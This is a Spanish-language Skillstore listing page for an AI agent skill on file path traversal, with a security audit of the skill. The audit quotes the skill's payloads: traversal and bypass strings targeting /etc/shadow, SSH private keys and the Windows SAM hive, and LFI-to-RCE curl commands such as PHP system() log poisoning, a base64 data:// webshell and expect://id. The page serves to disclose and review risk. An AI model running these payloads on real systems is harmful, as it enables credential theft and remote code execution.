Habilidades file-path-traversal
📦
file-path-traversal
Revisión del contenido r1 Crítico ⚙️ Comandos externos🌐 Acceso a red📁 Acceso al sistema de archivos
Probar la exposición a traversal de rutas
Los errores de traversal de rutas pueden exponer archivos del servidor y credenciales. Esta skill guía a testers autorizados en la detección, validación, evaluación de impacto y remediación.
Compatible con: Claude Codex Code(CC)
No instales este Skill automáticamente.
La política canónica exige la revisión de un operador antes de cualquier acción de instalación.
Instalar con mi Agente
Copia esta solicitud en tu Agente. Incluye la página canónica del Skill y el manifiesto.
Solicitud de agente
Review the Skillstore skill "file-path-traversal" from https://skillstore.io/skills/sickn33-file-path-traversal.md and its manifest at https://skillstore.io/api/skills/sickn33-file-path-traversal/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Tu Agente debe seguir mostrando su plan y solicitar cualquier confirmación exigida por la política de seguridad.
Recursos legibles por agentes
Usa estos enlaces cuando un agente de IA, crawler o script necesite contexto limpio en vez de leer la página completa.
Pruébalo
Usando "file-path-traversal". Un endpoint de staging autorizado acepta un parámetro de archivo para descargas.
Resultado esperado:
- Plan de evaluación con alcance, casos de prueba seguros y condiciones de detención.
- Lista de verificación de evidencias que evita recopilar claves privadas o hashes de contraseñas.
- Consejos de remediación mediante listas de permitidos y comprobaciones de rutas canónicas.
Usando "file-path-traversal". Un desarrollador necesita corregir el acceso inseguro a archivos en un manejador web.
Resultado esperado:
- Resumen de causa raíz por construcción de rutas sin saneamiento.
- Estrategia de validación recomendada con rutas canónicas y nombres de archivo aprobados.
- Ideas de pruebas de regresión para traversal, codificación y entradas de rutas absolutas.
Usando "file-path-traversal". Un líder de AppSec necesita lenguaje para un informe sobre una exposición confirmada de traversal.
Resultado esperado:
- Resumen de impacto empresarial con datos sensibles redactados.
- Justificación de severidad basada en archivos accesibles y el contexto de la aplicación.
- Pasos concretos de remediación y criterios de verificación.
Auditoría de seguridad
Críticov6 • 9/7/2026 Abrir el informe versionado
The skill is explicitly offensive and includes payloads for sensitive file disclosure, SSH key targeting, SAM hive access, and LFI-to-RCE escalation. Markdown backtick detections are false positives, but most filesystem, sensitive file, network exploit, and blocker findings are confirmed.
1
Archivos escaneados
493
Líneas analizadas
64
Elementos de revisión
0
Falsos positivos ignorados
Preocupaciones de seguridad confirmadas (48)
Crítico
SSH directory access
/root/.ssh/id_rsa # Root private key
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Crítico
SSH directory access
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Crítico
SSH directory access
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Crítico
SSH private key file
/root/.ssh/id_rsa # Root private key
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Crítico
SSH private key file
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Crítico
SSH private key file
C:\Users\<user>\.ssh\id_rsa
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Crítico
Windows SAM/registry hive access
C:\windows\system32\config\SAM
The line targets the Windows SAM registry hive. Disclosure can expose local account credential material.
Crítico
System password file access
../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Mostrar los 48 problemas confirmados
Crítico
System password file access
../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
../../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
../../../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
curl "http://target.com/image?filename=../../../etc/passwd"
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
curl "http://target.com/download?file=....//....//....//etc/passwd"
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
/etc/shadow
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
....//....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
....\/....\/....\/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
..././..././..././etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
%2e%2e/%2e%2e/%2e%2e/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
../../../etc/passwd%00.jpg
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
../../../etc/passwd%00.png
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
../../../etc/passwd...............................
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
../../../etc/passwd.jpg.php
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
/var/www/images/../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
images/../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
/etc/passwd # User accounts
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
/etc/shadow # Password hashes (root only)
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
# Traverse to /etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
....//....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
..;/..;/..;/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
../../../etc/passwd%00.jpg
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
| `../../../etc/passwd` | Linux password file |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
| `....//....//....//etc/passwd` | Bypass simple filter |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
| `/etc/passwd` | Absolute path |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
| Linux | `/etc/passwd` | User accounts |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System password file access
| Linux | `/etc/shadow` | Password hashes |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Crítico
System reconnaissance
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The whoami check is embedded in an LFI-to-RCE validation flow. It supports command execution confirmation on a target system.
Crítico
System reconnaissance
"http://target.com/page?file=/proc/self/environ&c=whoami"
The whoami check is embedded in an LFI-to-RCE validation flow. It supports command execution confirmation on a target system.
Crítico
Explicit Offensive Exploitation Intent
The skill states that it identifies and exploits path traversal and lists exploitation proof with extracted file contents as a deliverable.
The purpose and deliverables explicitly prioritize exploitation and extracted file contents. This is intent-level evidence beyond individual payload strings.
Crítico
LFI to Remote Code Execution Escalation
The skill provides log poisoning, proc environment, PHP wrapper, data wrapper, and expect wrapper escalation paths from LFI to command execution.
The section is explicitly titled as escalation and includes command execution techniques. The intent is clear and technically actionable.
Alto
SSH host/auth files
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Alto
Crypto seed/private key mention
/root/.ssh/id_rsa # Root private key
The line explicitly references private key material. This is sensitive credential content even when shown as a test target.
Alto
Crypto seed/private key mention
/home/<user>/.ssh/id_rsa # User private keys
The line explicitly references private key material. This is sensitive credential content even when shown as a test target.
Alto
Automated Fuzzing Against Web Targets
The skill walks users through Burp Intruder, ffuf, and wfuzz workflows to attack file parameters and filter successful responses.
The section provides a complete automated testing workflow against target URLs. It can be legitimate only inside authorized scope.
Bajo
System reconnaissance
/etc/hostname # System hostname
The line lists /etc/hostname as a traversal target. Hostname disclosure supports system reconnaissance.
Elementos de revisión de capacidades (64)
Estas son capacidades locales reales que pueden esperarse para esta habilidad, por lo que requieren revisión, pero no se cuentan como comportamiento malicioso confirmado.
Crítico
Ruby/PHP system() call
curl -A "<?php system('id'); ?>" \
The example embeds PHP system() inside an LFI exploitation workflow. It teaches command execution on a target, not only benign detection.
Crítico
Ruby/PHP system() call
curl -X POST -d "<?php system('id'); ?>" \
The example embeds PHP system() inside an LFI exploitation workflow. It teaches command execution on a target, not only benign detection.
Crítico
Hardcoded URL
curl "http://target.com/image?filename=../../../etc/passwd"
The HTTP request template attempts to retrieve /etc/passwd through traversal. The placeholder host does not remove the sensitive file access intent.
Crítico
Hardcoded URL
curl "http://target.com/download?file=....//....//....//etc/passwd"
The HTTP request template attempts to retrieve /etc/passwd through traversal. The placeholder host does not remove the sensitive file access intent.
Crítico
Hardcoded URL
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Crítico
Hardcoded URL
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Crítico
Hardcoded URL
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Crítico
Hardcoded URL
"http://target.com/page?file=/proc/self/environ"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Crítico
Hardcoded URL
"http://target.com/page?file=/proc/self/environ&c=whoami"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Crítico
Hardcoded URL
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Crítico
Hardcoded URL
"http://target.com/page?file=php://input"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Crítico
Hardcoded URL
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Crítico
Hardcoded URL
curl "http://target.com/page?file=expect://id"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Crítico
Hidden file access
/root/.ssh/id_rsa # Root private key
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
Crítico
Hidden file access
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
Crítico
Hidden file access
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
Crítico
Linux /proc filesystem access
/proc/self/environ
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Crítico
Linux /proc filesystem access
/proc/self/environ # Environment variables
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Crítico
Linux /proc filesystem access
"http://target.com/page?file=/proc/self/environ"
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Crítico
Linux /proc filesystem access
"http://target.com/page?file=/proc/self/environ&c=whoami"
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Crítico
Linux /proc filesystem access
| Linux | `/proc/self/environ` | Environment vars |
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Alto
Hardcoded URL
ffuf -u "http://target.com/image?filename=FUZZ" \
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
Alto
Hardcoded URL
ffuf -u "http://target.com/page?file=FUZZ" \
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
Alto
Hardcoded URL
"http://target.com/index.php?file=FUZZ"
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
Alto
Hardcoded URL
"http://target.com/load?path=FUZZ"
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
Alto
Path traversal sequence
- `../` sequence moves up one directory
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
../../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
../../../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
..\..\..\windows\win.ini
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
..\..\..\..\windows\system32\drivers\etc\hosts
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
..%2F..%2F..%2Fetc%2Fpasswd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
curl "http://target.com/image?filename=../../../etc/passwd"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
curl "http://target.com/download?file=....//....//....//etc/passwd"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
# When ../ is stripped once
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
....//....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
....\/....\/....\/etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
..././..././..././etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
..%2f..%2f..%2fetc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
../../../etc/passwd%00.jpg
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
../../../etc/passwd%00.png
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
../../../etc/passwd...............................
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
../../../etc/passwd.jpg.php
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
/var/www/images/../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
images/../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
..%5c
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
....\\....\\etc\\passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
..%2F..%2F..%2Fetc%2Fpasswd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
....//....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
../../../etc/passwd%00.jpg
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
| `../../../etc/passwd` | Linux password file |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
| `..\..\..\..\windows\win.ini` | Windows INI file |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
| `....//....//....//etc/passwd` | Bypass simple filter |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
| URL Encoding | `%2e%2e%2f` = `../` |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Path traversal sequence
| Double Encoding | `%252e%252e%252f` = `../` |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Alto
Hidden file access
/var/www/html/.htaccess
The line targets a hidden web server configuration file. Disclosure can reveal access controls, routing, or deployment details.
Alto
Linux /proc filesystem access
/proc/self/cmdline # Process command line
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
Alto
Linux /proc filesystem access
/proc/self/fd/0 # File descriptors
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
Alto
Linux /proc filesystem access
/proc/version # Kernel version
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
Factores de riesgo
⚙️ Comandos externos (50)
SKILL.md:46-53 SKILL.md:53-56 SKILL.md:56-70 SKILL.md:70-90 SKILL.md:90-93 SKILL.md:93-94 SKILL.md:94-95 SKILL.md:95-96 SKILL.md:96-97 SKILL.md:97-103 SKILL.md:103-121 SKILL.md:121-125 SKILL.md:125-136 SKILL.md:136-142 SKILL.md:142-155 SKILL.md:155-159 SKILL.md:159-169 SKILL.md:169-173 SKILL.md:173-179 SKILL.md:179-183 SKILL.md:183-199 SKILL.md:199-205 SKILL.md:205-244 SKILL.md:244-250 SKILL.md:250-273 SKILL.md:273-279 SKILL.md:279-286 SKILL.md:286-290 SKILL.md:290-300 SKILL.md:300-304 SKILL.md:304-314 SKILL.md:314-320 SKILL.md:320-330 SKILL.md:330-334 SKILL.md:334-342 SKILL.md:342-346 SKILL.md:346-359 SKILL.md:359-365 SKILL.md:365-390 SKILL.md:390-396 SKILL.md:396-416 SKILL.md:416-418 SKILL.md:418-432 SKILL.md:432-440 SKILL.md:440-441 SKILL.md:441-442 SKILL.md:442-443 SKILL.md:443-444 SKILL.md:444-450 SKILL.md:450-451
🌐 Acceso a red (15)
📁 Acceso al sistema de archivos (47)
SKILL.md:56 SKILL.md:105 SKILL.md:106 SKILL.md:107 SKILL.md:108 SKILL.md:111 SKILL.md:112 SKILL.md:115 SKILL.md:119 SKILL.md:120 SKILL.md:143 SKILL.md:144 SKILL.md:145 SKILL.md:148 SKILL.md:149 SKILL.md:152 SKILL.md:161 SKILL.md:162 SKILL.md:165 SKILL.md:168 SKILL.md:175 SKILL.md:178 SKILL.md:194 SKILL.md:198 SKILL.md:325 SKILL.md:329 SKILL.md:370 SKILL.md:373 SKILL.md:377 SKILL.md:384 SKILL.md:440 SKILL.md:441 SKILL.md:442 SKILL.md:461 SKILL.md:462 SKILL.md:215 SKILL.md:216 SKILL.md:217 SKILL.md:231 SKILL.md:130 SKILL.md:235 SKILL.md:236 SKILL.md:237 SKILL.md:238 SKILL.md:337 SKILL.md:341 SKILL.md:452
Patrones detectados
SSH directory access×3SSH private key file×3Windows SAM/registry hive accessSystem password file access×32System reconnaissance×3
Auditado por: codex Ver historial de auditorías →
Compartir y citar este informe
Comparte el informe de evaluación versionado, la insignia neutral, la tarjeta insertable y las citas. Skillstore presenta evidencias sin decidir si este Skill es seguro.
Copiar enlace del informe
https://skillstore.io/skills/sickn33-file-path-traversal/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportInsignia Markdown
[](https://skillstore.io/skills/sickn33-file-path-traversal?utm_source=security_passport_badge)Insignia HTML
<a href="https://skillstore.io/skills/sickn33-file-path-traversal?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-file-path-traversal/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Tarjeta para insertar
<iframe src="https://skillstore.io/embed/skills/sickn33-file-path-traversal.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Citas académicas (APA · BibTeX · CFF)
Cita APA
zebbern. (2026). file-path-traversal security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-file-path-traversal/audits/6Cita BibTeX
@techreport{zebbern-sickn33-file-path-traversal-2026,
author = {zebbern},
title = {file-path-traversal security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-file-path-traversal/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "file-path-traversal security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-file-path-traversal/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-file-path-traversal:audit:6"
description: "Skillstore immutable audit report identifier"
Puntuación de Skillstore
Por qué esta puntuación Confianza de la evidencia: Medio 55
Arquitectura
85
Mantenibilidad
85
Contenido
69
Comunidad
83
Cumplimiento de la especificación
Lo que puedes crear
Validar endpoints de descarga
Probar si los parámetros de descarga o visualización de archivos pueden escapar del directorio previsto.
Preparar tickets de remediación
Convertir comportamientos confirmados de traversal en impacto, evidencia y orientación de corrección claros.
Revisar la lógica de acceso a archivos
Comparar el manejo de archivos de la aplicación con patrones de validación de rutas canónicas y listas de permitidos.
Prueba estos prompts
Explicar el riesgo
Explica cómo el traversal de rutas podría afectar esta funcionalidad autorizada de staging. Céntrate en pasos de validación segura y remediación.
Crear un plan de pruebas
Crea un plan de pruebas de traversal de rutas para este endpoint dentro del alcance. Incluye requisitos previos, manejo de evidencias y condiciones de detención.
Analizar hallazgos
Revisa estos resultados de pruebas autorizadas y clasifica el impacto. Redacta los datos sensibles y recomienda correcciones para cada parámetro afectado.
Planificar una escalada controlada
Para un laboratorio aprobado, describe cuándo una LFI puede convertirse en ejecución de código. Incluye aprobaciones, contención y recopilación segura de evidencias.
Mejores prácticas
- Confirma la autorización por escrito y el alcance antes de ejecutar cualquier prueba.
- Usa archivos canario o recursos de laboratorio antes de intentar rutas sensibles.
- Redacta secretos y acompaña cada hallazgo con orientación de remediación.
Evitar
- Ejecutar payloads de traversal contra sistemas fuera del alcance aprobado.
- Recopilar claves privadas, hashes de contraseñas o tokens como prueba.
- Tratar un payload bloqueado como prueba de que el código es seguro.
Preguntas frecuentes
¿Quién debería usar esta skill?
Testers de seguridad, ingenieros de AppSec y desarrolladores que trabajan en evaluaciones autorizadas de aplicaciones web.
¿Esta skill requiere autorización?
Sí. Úsala solo con permiso por escrito y un alcance claro.
¿Puede ayudar con la remediación?
Sí. Incluye orientación sobre listas de permitidos, rutas canónicas y acceso seguro a archivos.
¿Recopila secretos automáticamente?
No. La skill es solo una guía, pero los prompts inseguros pueden provocar la exposición de datos sensibles.
¿Qué herramientas menciona?
Menciona herramientas de desarrollo del navegador, Burp Suite, OWASP ZAP, cURL, ffuf y wfuzz.
¿Es adecuada para pruebas en producción?
Solo con aprobación explícita, límites de tasa cuidadosos y reglas de manejo de evidencias.
Detalles del desarrollador
Autor
zebbernLicencia
MIT
Revisión de Skillstore
r1
Aviso de versión
El autor no declaró una versión.
Repositorio
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/file-path-traversalRef.
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Actualidad del mantenimiento
25/7/2026
Uso
11 descargas · 148 vistas
Estructura de archivos
📄 SKILL.md